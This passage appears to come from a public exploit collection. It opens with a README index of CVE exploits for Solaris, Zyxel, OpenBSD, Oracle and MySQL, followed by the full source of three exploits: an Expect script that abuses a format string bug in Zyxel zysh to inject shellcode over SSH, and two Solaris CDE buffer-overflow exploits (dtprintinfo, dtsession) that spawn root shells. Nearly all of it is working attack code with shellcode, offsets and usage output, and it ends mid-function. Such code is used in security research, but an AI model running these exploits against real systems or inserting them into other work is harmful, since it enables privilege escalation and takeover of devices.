[**raptor_dtprintname_sparc3.c**](solaris/raptor_dtprintname_sparc3.c). Solaris 10 (CVE-2019-2832). Buffer overflow in CDE dtprintinfo (SPARC, NX). 51 | * [**raptor_dtprintname_intel.c**](solaris/raptor_dtprintname_intel.c). Solaris 10 (CVE-2019-2832). Buffer overflow in CDE dtprintinfo (Intel, NX). 52 | * [**raptor_xscreensaver**](solaris/raptor_xscreensaver). Solaris 11.x (CVE-2019-3010). Local privilege escalation via xscreensaver. 53 | * [**raptor_session_ipa.c**](solaris/raptor_dtsession_ipa.c). Solaris 10 (CVE-2020-2696). Local privilege escalation via CDE dtsession (Intel, NX). 54 | * [**raptor_sdtcm_conv.c**](solaris/raptor_sdtcm_conv.c). Solaris 10 (CVE-2020-2944). Local privilege escalation via CDE sdtcm_convert (Intel, NX). 55 | * [**raptor_dtprintcheckdir_intel.c**](solaris/raptor_dtprintcheckdir_intel.c). Solaris 10 (CVE-2022-43752). Another buffer overflow in CDE dtprintinfo (Intel, NX). 56 | * [**raptor_dtprintcheckdir_intel2.c**](solaris/raptor_dtprintcheckdir_intel2.c). Solaris 10 (CVE-2022-43752). Format string bug in CDE dtprintinfo (Intel, NX). 57 | * [**raptor_dtprintcheckdir_sparc.c**](solaris/raptor_dtprintcheckdir_sparc.c). Solaris 10 (CVE-2022-43752). Format string bug in CDE dtprintinfo (SPARC PoC, NX). 58 | * [**raptor_dtprintcheckdir_sparc2.c**](solaris/raptor_dtprintcheckdir_sparc2.c). Solaris 10 (CVE-2022-43752). Format string bug in CDE dtprintinfo (SPARC, NX). 59 | * [**raptor_dtprintlibXmas.c**](solaris/raptor_dtprintlibXmas.c). Solaris 10 (CVE-2023-24039). Buffer overflow in libXm via CDE dtprintinfo (Intel, NX). 60 | 61 | ### AIX 62 | 63 | * [**raptor_libC**](aix/raptor_libC). AIX 5.3, 6.1 (CVE-2009-2669). Arbitrary file creation or overwrite via libC debugging functions. 64 | 65 | ### OpenBSD 66 | 67 | * [**raptor_xorgasm**](openbsd/raptor_xorgasm). OpenBSD 6.3, 6.4 (CVE-2018-14665). Local privilege escalation via Xorg -logfile and cron. 68 | * [**raptor_opensmtpd.pl**](openbsd/raptor_opensmtpd.pl). OpenBSD 6.4, 6.5, 6.6 (CVE-2020-7247). LPE and RCE in OpenBSD's OpenSMTPD. 69 | 70 | ### Zyxel 71 | 72 | * [**raptor_zysh_fhtagn.exp**](zyxel/raptor_zysh_fhtagn.exp). Zyxel zysh (CVE-2022-26531). Remote code execution via multiple format string bugs. 73 | * [**raptor_fermion**](zyxel/raptor_fermion). Zyxel uOS (CVE-2025-1731). Local privilege escalation via fermion-wrapper. 74 | 75 | ### Oracle 76 | 77 | * [**raptor_oraextproc.sql**](oracle/raptor_oraextproc.sql). Oracle 9i, 10g (CVE-2004-1364). Directory traversal vulnerability in extproc. 78 | * [**raptor_oraexec.sql**](oracle/raptor_oraexec.sql). Exploitation suite for Oracle written in Java, to read/write files and execute OS commands. 79 | * [**raptor_orafile.sql**](oracle/raptor_orafile.sql). File system access suite for Oracle based on the utl_file package, to read/write files. 80 | 81 | ### MySQL 82 | 83 | * [**raptor_udf.c**](mysql/raptor_udf.c). Helper dynamic library for local privilege escalation through MySQL run with root privileges. 84 | * [**raptor_udf2.c**](mysql/raptor_udf2.c). Slight modification of raptor_udf.c, it works with recent versions of the open source database. 85 | * [**raptor_winudf**](mysql/raptor_winudf). MySQL UDF backdoor kit for M$ Windows (ZIP password is "0xdeadbeef"). 86 | 87 | ### Miscellaneous 88 | 89 | * [**raptor_sshtime**](misc/raptor_sshtime). OpenSSH (CVE-2003-0190, CVE-2006-5229). Remote timing attack information leak exploit. 90 | * [**raptor_dominohash**](misc/raptor_dominohash). Lotus Domino R5, R6 (CVE-2005-2428). Webmail names.nsf password hash dumper. 91 | * [**raptor_xorgy**](misc/raptor_xorgy). Xorg 1.19.0 - 1.20.2 (CVE-2018-14665). Local privilege escalation via Xorg -modulepath. 92 | -------------------------------------------------------------------------------- /zyxel/raptor_zysh_fhtagn.exp: -------------------------------------------------------------------------------- 1 | #!/usr/bin/expect -f 2 | 3 | # 4 | # raptor_zysh_fhtagn.exp - zysh format string PoC exploit 5 | # Copyright (c) 2022 Marco Ivaldi 6 | # 7 | # "We live on a placid island of ignorance in the midst of black seas of 8 | # infinity, and it was not meant that we should voyage far." 9 | # -- H. P. Lovecraft, The Call of Cthulhu 10 | # 11 | # "Multiple improper input validation flaws were identified in some CLI 12 | # commands of Zyxel USG/ZyWALL series firmware versions 4.09 through 4.71, 13 | # USG FLEX series firmware versions 4.50 through 5.21, ATP series firmware 14 | # versions 4.32 through 5.21, VPN series firmware versions 4.30 through 15 | # 5.21, NSG series firmware versions 1.00 through 1.33 Patch 4, NXC2500 16 | # firmware version 6.10(AAIG.3) and earlier versions, NAP203 firmware 17 | # version 6.25(ABFA.7) and earlier versions, NWA50AX firmware version 18 | # 6.25(ABYW.5) and earlier versions, WAC500 firmware version 6.30(ABVS.2) 19 | # and earlier versions, and WAX510D firmware version 6.30(ABTF.2) and 20 | # earlier versions, that could allow a local authenticated attacker to 21 | # cause a buffer overflow or a system crash via a crafted payload." 22 | # -- CVE-2022-26531 23 | # 24 | # The zysh binary is a restricted shell that implements the command-line 25 | # interface (CLI) on multiple Zyxel products. This proof-of-concept exploit 26 | # demonstrates how to leverage the format string bugs I have identified in 27 | # the "extension" argument of some zysh commands, to execute arbitrary code 28 | # and escape the restricted shell environment. 29 | # 30 | # - This exploit targets the "ping" zysh command. 31 | # - It overwrites the .got entry of fork() with the shellcode address. 32 | # - The shellcode address is calculated based on a leaked stack address. 33 | # - Hardcoded offsets and values might need some tweaking, see comments. 34 | # - Automation/weaponization for other targets is left as an exercise. 35 | # 36 | # For additional details on my bug hunting journey and on the 37 | # vulnerabilities themselves, you can refer to the official advisory: 38 | # https://github.com/0xdea/advisories/blob/master/HNS-2022-02-zyxel-zysh.txt 39 | # 40 | # Usage: 41 | # raptor@blumenkraft ~ % ./raptor_zysh_fhtagn.exp admin password 42 | # raptor_zysh_fhtagn.exp - zysh format string PoC exploit 43 | # Copyright (c) 2022 Marco Ivaldi 44 | # 45 | # Leaked stack address: 0x7fe97170 46 | # Shellcode address: 0x7fe9de40 47 | # Base string length: 46 48 | # Hostile format string: %.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn 49 | # 50 | # *** enjoy your shell! *** 51 | # 52 | # sh-5.1$ uname -snrmp 53 | # Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0 54 | # sh-5.1$ id 55 | # uid=10007(admin) gid=10000(operator) groups=10000(operator) 56 | # 57 | # Tested on: 58 | # Zyxel USG20-VPN with Firmware 5.10 59 | # [other appliances/versions are also likely vulnerable] 60 | # 61 | 62 | # change string encoding to 8-bit ASCII to avoid annoying conversion to UTF-8 63 | encoding system iso8859-1 64 | 65 | # hostile format string to leak stack address via direct parameter access 66 | set offset1 77 67 | set leak [format "AAAA.0x%%%d\$x" $offset1] 68 | 69 | # offsets to reach addresses in retloc sled via direct parameter access 70 | set offset2 1801 71 | set offset3 [expr $offset2 + 1] 72 | 73 | # difference between leaked stack address and shellcode address 74 | set diff 27856 75 | 76 | # retloc sled 77 | # $ mips64-linux-readelf -a zysh | grep JUMP | grep fork 78 | # 112dd558 0000967f R_MIPS_JUMP_SLOT 00000000 fork@GLIBC_2.0 79 | # ^^^^^^^^ << this is the address we need to encode: [112dd558][112dd558][112dd558+2][112dd558+2] 80 | set retloc [string repeat "\x11\x2d\xd5\x58\x11\x2d\xd5\x58\x11\x2d\xd5\x5a\x11\x2d\xd5\x5a" 1024] 81 | 82 | # nop sled 83 | # nop-equivalent instruction: xor $t0, $t0, $t0 84 | set nops [string repeat "\x01\x8c\x60\x26" 64] 85 | 86 | # shellcode 87 | # https://github.com/0xdea/shellcode/blob/main/MIPS/mips_n32_msb_linux_revsh.c 88 | set sc "\x3c\x0c\x2f\x62\x25\x8c\x69\x6e\xaf\xac\xff\xec\x3c\x0c\x2f\x73\x25\x8c\x68\x68\xaf\xac\xff\xf0\xa3\xa0\xff\xf3\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x28\x06\xff\xff\x24\x02\x17\xa9\x01\x01\x01\x0c" 89 | 90 | # padding to align payload in memory (might need adjusting) 91 | set padding "AAA" 92 | 93 | # print header 94 | send_user "raptor_zysh_fhtagn.exp - zysh format string PoC exploit\n" 95 | send_user "Copyright (c) 2022 Marco Ivaldi \n\n" 96 | 97 | # check command line 98 | if { [llength $argv] != 3} { 99 | send_error "usage: ./raptor_zysh_fhtagn.exp \n" 100 | exit 1 101 | } 102 | 103 | # get SSH connection parameters 104 | set port "22" 105 | set host [lindex $argv 0] 106 | set user [lindex $argv 1] 107 | set pass [lindex $argv 2] 108 | 109 | # inject payload via the TERM environment variable 110 | set env(TERM) $retloc$nops$sc$padding 111 | 112 | # connect to target via SSH 113 | log_user 0 114 | spawn -noecho ssh -q -o StrictHostKeyChecking=no -p $port $host -l $user 115 | expect { 116 | -nocase "password*" { 117 | send "$pass\r" 118 | } 119 | default { 120 | send_error "error: could not connect to ssh\n" 121 | exit 1 122 | } 123 | } 124 | 125 | # leak stack address 126 | expect { 127 | "Router? $" { 128 | send "ping 127.0.0.1 extension $leak\r" 129 | } 130 | default { 131 | send_error "error: could not access zysh prompt\n" 132 | exit 1 133 | } 134 | } 135 | expect { 136 | -re "ping: unknown host AAAA\.(0x.*)\r\n" { 137 | } 138 | default { 139 | send_error "error: could not leak stack address\n" 140 | exit 1 141 | } 142 | } 143 | set leaked $expect_out(1,string) 144 | send_user "Leaked stack address:\t$leaked\n" 145 | 146 | # calculate shellcode address 147 | set retval [expr $leaked + $diff] 148 | set retval [format 0x%x $retval] 149 | send_user "Shellcode address:\t$retval\n" 150 | 151 | # extract each byte of shellcode address 152 | set b1 [expr ($retval & 0xff000000) >> 24] 153 | set b2 [expr ($retval & 0x00ff0000) >> 16] 154 | set b3 [expr ($retval & 0x0000ff00) >> 8] 155 | set b4 [expr ($retval & 0x000000ff)] 156 | set b1 [format 0x%x $b1] 157 | set b2 [format 0x%x $b2] 158 | set b3 [format 0x%x $b3] 159 | set b4 [format 0x%x $b4] 160 | 161 | # calculate numeric arguments for the hostile format string 162 | set base [string length "/bin/zysudo.suid /bin/ping 127.0.0.1 -n -c 3 "] 163 | send_user "Base string length:\t$base\n" 164 | set n1 [expr ($b4 - $base) % 0x100] 165 | set n2 [expr ($b2 - $b4) % 0x100] 166 | set n3 [expr ($b1 - $b2) % 0x100] 167 | set n4 [expr ($b3 - $b1) % 0x100] 168 | 169 | # check for dangerous numeric arguments below 10 170 | if {$n1 < 10} { incr n1 0x100 } 171 | if {$n2 < 10} { incr n2 0x100 } 172 | if {$n3 < 10} { incr n3 0x100 } 173 | if {$n4 < 10} { incr n4 0x100 } 174 | 175 | # craft the hostile format string 176 | set exploit [format "%%.%du%%$offset2\$n%%.%du%%$offset2\$hn%%.%du%%$offset2\$hhn%%.%du%%$offset3\$hhn" $n1 $n2 $n3 $n4] 177 | send_user "Hostile format string:\t$exploit\n\n" 178 | 179 | # uncomment to debug 180 | # interact + 181 | 182 | # exploit target 183 | set prompt "(#|\\\$) $" 184 | expect { 185 | "Router? $" { 186 | send "ping 127.0.0.1 extension $exploit\r" 187 | } 188 | default { 189 | send_error "error: could not access zysh prompt\n" 190 | exit 1 191 | } 192 | } 193 | expect { 194 | "Router? $" { 195 | send_error "error: could not exploit target\n" 196 | exit 1 197 | } 198 | -re $prompt { 199 | send_user "*** enjoy your shell! ***\n" 200 | send "\r" 201 | interact 202 | } 203 | default { 204 | send_error "error: could not exploit target\n" 205 | exit 1 206 | } 207 | } 208 | -------------------------------------------------------------------------------- /solaris/raptor_dtprintname_intel.c: -------------------------------------------------------------------------------- 1 | /* 2 | * raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel 3 | * Copyright (c) 2004-2019 Marco Ivaldi 4 | * 5 | * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to 6 | * local root. Many thanks to Dave Aitel for discovering this vulnerability 7 | * and for his interesting research activities on Solaris/SPARC. 8 | * 9 | * "None of my dtprintinfo work is public, other than that 0day pack being 10 | * leaked to all hell and back. It should all basically still work. Let's 11 | * keep it that way, cool? :>" -- Dave Aitel 12 | * 13 | * This exploit uses the ret-into-ld.so technique to bypass the non-exec 14 | * stack protection. If experiencing troubles with null-bytes inside the 15 | * ld.so.1 memory space, try returning to sprintf() instead of strcpy(). 16 | * 17 | * Usage: 18 | * $ gcc raptor_dtprintname_intel.c -o raptor_dtprintname_intel -Wall 19 | * [on your xserver: disable the access control] 20 | * $ ./raptor_dtprintname_intel 192.168.1.1:0 21 | * [...] 22 | * # id 23 | * uid=0(root) gid=1(other) 24 | * # 25 | * 26 | * Tested on: 27 | * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) 28 | * [previous Solaris versions are also vulnerable] 29 | */ 30 | 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | 40 | #define INFO1 "raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel" 41 | #define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi " 42 | 43 | #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program 44 | #define BUFSIZE 301 // size of the printer name 45 | 46 | char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ 47 | /* double setuid() */ 48 | "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 49 | "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 50 | /* execve() */ 51 | "\x31\xc0\x50\x68/ksh\x68/bin" 52 | "\x89\xe3\x50\x53\x89\xe2\x50" 53 | "\x52\x53\xb0\x3b\x50\xcd\x91"; 54 | 55 | /* globals */ 56 | char *env[256]; 57 | int env_pos = 0, env_len = 0; 58 | 59 | /* prototypes */ 60 | int add_env(char *string); 61 | void check_zero(int addr, char *pattern); 62 | int search_ldso(char *sym); 63 | int search_rwx_mem(void); 64 | void set_val(char *buf, int pos, int val); 65 | 66 | /* 67 | * main() 68 | */ 69 | int main(int argc, char **argv) 70 | { 71 | char buf[BUFSIZE], ksh_var[16]; 72 | char platform[256], release[256], display[256]; 73 | int i, offset, sc_addr, ksh_pos; 74 | int plat_len, prog_len; 75 | 76 | char *arg[2] = {"foo", NULL}; 77 | int sb = ((int)argv[0] | 0xfff); /* stack base */ 78 | int ret = search_ldso("strcpy"); /* or sprintf */ 79 | int rwx_mem = search_rwx_mem(); /* rwx memory */ 80 | 81 | /* fake lpstat code */ 82 | if (!strcmp(argv[0], "lpstat")) { 83 | 84 | /* check command line */ 85 | if (argc != 2) 86 | exit(1); 87 | 88 | /* get the shellcode address from the environment */ 89 | sc_addr = (int)strtoul(getenv("KSH"), (char **)NULL, 0); 90 | 91 | /* prepare the evil printer name */ 92 | memset(buf, 'A', sizeof(buf)); 93 | buf[sizeof(buf) - 1] = 0x0; 94 | 95 | /* fill with ld.so.1 address, saved eip, and arguments */ 96 | for (i = 0; i < BUFSIZE; i += 4) { 97 | set_val(buf, i, ret); /* strcpy */ 98 | set_val(buf, i += 4, rwx_mem); /* saved eip */ 99 | set_val(buf, i += 4, rwx_mem); /* 1st argument */ 100 | set_val(buf, i += 4, sc_addr); /* 2nd argument */ 101 | } 102 | 103 | /* print the expected output and exit */ 104 | if(!strcmp(argv[1], "-v")) { 105 | fprintf(stderr, "lpstat called with -v\n"); 106 | printf("device for %s: /dev/null\n", buf); 107 | } else { 108 | fprintf(stderr, "lpstat called with -d\n"); 109 | printf("system default destination: %s\n", buf); 110 | } 111 | exit(0); 112 | } 113 | 114 | /* print exploit information */ 115 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 116 | 117 | /* read command line */ 118 | if (argc != 2) { 119 | fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 120 | exit(1); 121 | } 122 | sprintf(display, "DISPLAY=%s", argv[1]); 123 | 124 | /* get some system information */ 125 | sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 126 | sysinfo(SI_RELEASE, release, sizeof(release) - 1); 127 | 128 | /* fill the envp, keeping padding */ 129 | add_env(sc); 130 | ksh_pos = env_pos; 131 | add_env("KSH=0x42424242"); 132 | add_env(display); 133 | add_env("PATH=.:/usr/bin"); 134 | add_env("HOME=/tmp"); 135 | add_env(NULL); 136 | 137 | /* calculate the offset to the shellcode */ 138 | plat_len = strlen(platform) + 1; 139 | prog_len = strlen(VULN) + 1; 140 | offset = 5 + env_len + plat_len + prog_len; 141 | 142 | /* calculate the shellcode address */ 143 | sc_addr = sb - offset; 144 | 145 | /* overwrite the KSH env var with the right address */ 146 | sprintf(ksh_var, "KSH=0x%x", sc_addr); 147 | env[ksh_pos] = ksh_var; 148 | 149 | /* create a symlink for the fake lpstat */ 150 | unlink("lpstat"); 151 | symlink(argv[0], "lpstat"); 152 | 153 | /* print some output */ 154 | fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 155 | fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 156 | fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 157 | fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); 158 | fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); 159 | 160 | /* run the vulnerable program */ 161 | execve(VULN, arg, env); 162 | perror("execve"); 163 | exit(0); 164 | } 165 | 166 | /* 167 | * add_env(): add a variable to envp and pad if needed 168 | */ 169 | int add_env(char *string) 170 | { 171 | int i; 172 | 173 | /* null termination */ 174 | if (!string) { 175 | env[env_pos] = NULL; 176 | return(env_len); 177 | } 178 | 179 | /* add the variable to envp */ 180 | env[env_pos] = string; 181 | env_len += strlen(string) + 1; 182 | env_pos++; 183 | 184 | /* pad the envp using zeroes */ 185 | if ((strlen(string) + 1) % 4) 186 | for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 187 | env[env_pos] = string + strlen(string); 188 | env_len++; 189 | } 190 | 191 | return(env_len); 192 | } 193 | 194 | /* 195 | * check_zero(): check an address for the presence of a 0x00 196 | */ 197 | void check_zero(int addr, char *pattern) 198 | { 199 | if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 200 | !(addr & 0xff000000)) { 201 | fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); 202 | exit(1); 203 | } 204 | } 205 | 206 | /* 207 | * search_ldso(): search for a symbol inside ld.so.1 208 | */ 209 | int search_ldso(char *sym) 210 | { 211 | int addr; 212 | void *handle; 213 | Link_map *lm; 214 | 215 | /* open the executable object file */ 216 | if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 217 | perror("dlopen"); 218 | exit(1); 219 | } 220 | 221 | /* get dynamic load information */ 222 | if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { 223 | perror("dlinfo"); 224 | exit(1); 225 | } 226 | 227 | /* search for the address of the symbol */ 228 | if ((addr = (int)dlsym(handle, sym)) == NULL) { 229 | fprintf(stderr, "sorry, function %s() not found\n", sym); 230 | exit(1); 231 | } 232 | 233 | /* close the executable object file */ 234 | dlclose(handle); 235 | 236 | check_zero(addr - 4, sym); 237 | return(addr); 238 | } 239 | 240 | /* 241 | * search_rwx_mem(): search for an RWX memory segment valid for all 242 | * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 243 | */ 244 | int search_rwx_mem(void) 245 | { 246 | int fd; 247 | char tmp[16]; 248 | prmap_t map; 249 | int addr = 0, addr_old; 250 | 251 | /* open the proc filesystem */ 252 | sprintf(tmp,"/proc/%d/map", (int)getpid()); 253 | if ((fd = open(tmp, O_RDONLY)) < 0) { 254 | fprintf(stderr, "can't open %s\n", tmp); 255 | exit(1); 256 | } 257 | 258 | /* search for the last RWX memory segment before stack (last - 1) */ 259 | while (read(fd, &map, sizeof(map))) 260 | if (map.pr_vaddr) 261 | if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { 262 | addr_old = addr; 263 | addr = map.pr_vaddr; 264 | } 265 | close(fd); 266 | 267 | /* add 4 to the exact address NULL bytes */ 268 | if (!(addr_old & 0xff)) 269 | addr_old |= 0x04; 270 | if (!(addr_old & 0xff00)) 271 | addr_old |= 0x0400; 272 | 273 | return(addr_old); 274 | } 275 | 276 | /* 277 | * set_val(): copy a dword inside a buffer (little endian) 278 | */ 279 | void set_val(char *buf, int pos, int val) 280 | { 281 | buf[pos] = (val & 0x000000ff); 282 | buf[pos + 1] = (val & 0x0000ff00) >> 8; 283 | buf[pos + 2] = (val & 0x00ff0000) >> 16; 284 | buf[pos + 3] = (val & 0xff000000) >> 24; 285 | } 286 | -------------------------------------------------------------------------------- /solaris/raptor_dtsession_ipa.c: -------------------------------------------------------------------------------- 1 | /* 2 | * raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel 3 | * Copyright (c) 2019-2020 Marco Ivaldi 4 | * 5 | * A buffer overflow in the CheckMonitor() function in the Common Desktop 6 | * Environment 2.3.1 and earlier and 1.6 and earlier, as distributed with 7 | * Oracle Solaris 10 1/13 (Update 11) and earlier, allows local users to gain 8 | * root privileges via a long palette name passed to dtsession in a malicious 9 | * .Xdefaults file (CVE-2020-2696). 10 | * 11 | * "I always loved Sun because it was so easy to own. Now with Solaris 11 I 12 | * don't like it anymore." -- ~B. 13 | * 14 | * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack 15 | * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory 16 | * space, try returning to sprintf() instead of strcpy(). 17 | * 18 | * I haven't written a Solaris/SPARC version because I don't have a SPARC box 19 | * on which Solaris 10 can run. If anybody is kind enough to give me access to 20 | * such a box, I'd be happy to port my exploit to Solaris/SPARC as well. 21 | * 22 | * Usage: 23 | * $ gcc raptor_dtsession_ipa.c -o raptor_dtsession_ipa -Wall 24 | * [on your xserver: disable the access control] 25 | * $ ./raptor_dtsession_ipa 192.168.1.1:0 26 | * [...] 27 | * # id 28 | * uid=0(root) gid=1(other) 29 | * # 30 | * 31 | * Tested on: 32 | * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) 33 | * [previous Solaris versions are also likely vulnerable] 34 | */ 35 | 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | 47 | #define INFO1 "raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel" 48 | #define INFO2 "Copyright (c) 2019-2020 Marco Ivaldi " 49 | 50 | #define VULN "/usr/dt/bin/dtsession" // the vulnerable program 51 | #define BUFSIZE 256 // size of the palette name 52 | #define PADDING 3 // padding in the palette name 53 | #define PAYSIZE 1024 // size of the payload 54 | #define OFFSET env_len / 2 // offset to the shellcode 55 | 56 | char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ 57 | /* double setuid() */ 58 | "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 59 | "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 60 | /* execve() */ 61 | "\x31\xc0\x50\x68/ksh\x68/bin" 62 | "\x89\xe3\x50\x53\x89\xe2\x50" 63 | "\x52\x53\xb0\x3b\x50\xcd\x91"; 64 | 65 | /* globals */ 66 | char *env[256]; 67 | int env_pos = 0, env_len = 0; 68 | 69 | /* prototypes */ 70 | int add_env(char *string); 71 | void check_zero(int addr, char *pattern); 72 | int search_ldso(char *sym); 73 | int search_rwx_mem(void); 74 | void set_val(char *buf, int pos, int val); 75 | 76 | /* 77 | * main() 78 | */ 79 | int main(int argc, char **argv) 80 | { 81 | char buf[BUFSIZE], payload[PAYSIZE]; 82 | char platform[256], release[256], display[256]; 83 | int i, payaddr; 84 | 85 | char *arg[2] = {"foo", NULL}; 86 | int sb = ((int)argv[0] | 0xfff); /* stack base */ 87 | int ret = search_ldso("strcpy"); /* or sprintf */ 88 | int rwx_mem = search_rwx_mem(); /* rwx memory */ 89 | 90 | FILE *fp; 91 | char palette_file[BUFSIZE + 18]; 92 | 93 | /* print exploit information */ 94 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 95 | 96 | /* read command line */ 97 | if (argc != 2) { 98 | fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 99 | exit(1); 100 | } 101 | sprintf(display, "DISPLAY=%s", argv[1]); 102 | 103 | /* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */ 104 | memset(payload, '\x90', PAYSIZE); 105 | payload[PAYSIZE - 1] = 0x0; 106 | memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc)); 107 | 108 | /* fill the envp, keeping padding */ 109 | add_env(payload); 110 | add_env(display); 111 | add_env("HOME=/tmp"); 112 | add_env(NULL); 113 | 114 | /* calculate the payload address */ 115 | payaddr = sb - OFFSET; 116 | 117 | /* prepare the evil palette name */ 118 | memset(buf, 'A', sizeof(buf)); 119 | buf[sizeof(buf) - 1] = 0x0; 120 | 121 | /* fill with function address in ld.so.1, saved eip, and arguments */ 122 | for (i = PADDING; i < BUFSIZE - 16; i += 4) { 123 | set_val(buf, i, ret); /* strcpy */ 124 | set_val(buf, i += 4, rwx_mem); /* saved eip */ 125 | set_val(buf, i += 4, rwx_mem); /* 1st argument */ 126 | set_val(buf, i += 4, payaddr); /* 2nd argument */ 127 | } 128 | 129 | /* prepare the evil .Xdefaults file */ 130 | fp = fopen("/tmp/.Xdefaults", "w"); 131 | if (!fp) { 132 | perror("error creating .Xdefaults file"); 133 | exit(1); 134 | } 135 | fprintf(fp, "*0*ColorPalette: %s\n", buf); // or *0*MonochromePalette 136 | fclose(fp); 137 | 138 | /* prepare the evil palette file (badchars currently not handled) */ 139 | mkdir("/tmp/.dt", 0755); 140 | mkdir("/tmp/.dt/palettes", 0755); 141 | sprintf(palette_file, "/tmp/.dt/palettes/%s", buf); 142 | fp = fopen(palette_file, "w"); 143 | if (!fp) { 144 | perror("error creating palette file"); 145 | exit(1); 146 | } 147 | fprintf(fp, "Black\n"); 148 | fclose(fp); 149 | 150 | /* print some output */ 151 | sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 152 | sysinfo(SI_RELEASE, release, sizeof(release) - 1); 153 | fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 154 | fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 155 | fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 156 | fprintf(stderr, "Using payload address\t: 0x%p\n", (void *)payaddr); 157 | fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); 158 | 159 | /* run the vulnerable program */ 160 | execve(VULN, arg, env); 161 | perror("execve"); 162 | exit(0); 163 | } 164 | 165 | /* 166 | * add_env(): add a variable to envp and pad if needed 167 | */ 168 | int add_env(char *string) 169 | { 170 | int i; 171 | 172 | /* null termination */ 173 | if (!string) { 174 | env[env_pos] = NULL; 175 | return env_len; 176 | } 177 | 178 | /* add the variable to envp */ 179 | env[env_pos] = string; 180 | env_len += strlen(string) + 1; 181 | env_pos++; 182 | 183 | /* pad the envp using zeroes */ 184 | if ((strlen(string) + 1) % 4) 185 | for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 186 | env[env_pos] = string + strlen(string); 187 | env_len++; 188 | } 189 | 190 | return env_len; 191 | } 192 | 193 | /* 194 | * check_zero(): check an address for the presence of a 0x00 195 | */ 196 | void check_zero(int addr, char *pattern) 197 | { 198 | if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 199 | !(addr & 0xff000000)) { 200 | fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); 201 | exit(1); 202 | } 203 | } 204 | 205 | /* 206 | * search_ldso(): search for a symbol inside ld.so.1 207 | */ 208 | int search_ldso(char *sym) 209 | { 210 | int addr; 211 | void *handle; 212 | Link_map *lm; 213 | 214 | /* open the executable object file */ 215 | if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 216 | perror("dlopen"); 217 | exit(1); 218 | } 219 | 220 | /* get dynamic load information */ 221 | if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { 222 | perror("dlinfo"); 223 | exit(1); 224 | } 225 | 226 | /* search for the address of the symbol */ 227 | if ((addr = (int)dlsym(handle, sym)) == NULL) { 228 | fprintf(stderr, "sorry, function %s() not found\n", sym); 229 | exit(1); 230 | } 231 | 232 | /* close the executable object file */ 233 | dlclose(handle); 234 | 235 | check_zero(addr - 4, sym); 236 | return addr; 237 | } 238 | 239 | /* 240 | * search_rwx_mem(): search for an RWX memory segment valid for all 241 | * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 242 | */ 243 | int search_rwx_mem(void) 244 | { 245 | int fd; 246 | char tmp[16]; 247 | prmap_t map; 248 | int addr = 0, addr_old; 249 | 250 | /* open the proc filesystem */ 251 | sprintf(tmp,"/proc/%d/map", (int)getpid()); 252 | if ((fd = open(tmp, O_RDONLY)) < 0) { 253 | fprintf(stderr, "can't open %s\n", tmp); 254 | exit(1); 255 | } 256 | 257 | /* search for the last RWX memory segment before stack (last - 1) */ 258 | while (read(fd, &map, sizeof(map))) 259 | if (map.pr_vaddr) 260 | if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { 261 | addr_old = addr; 262 | addr = map.pr_vaddr; 263 | } 264 | close(fd); 265 | 266 | /* add 4 to the exact address NULL bytes */ 267 | if (!(addr_old & 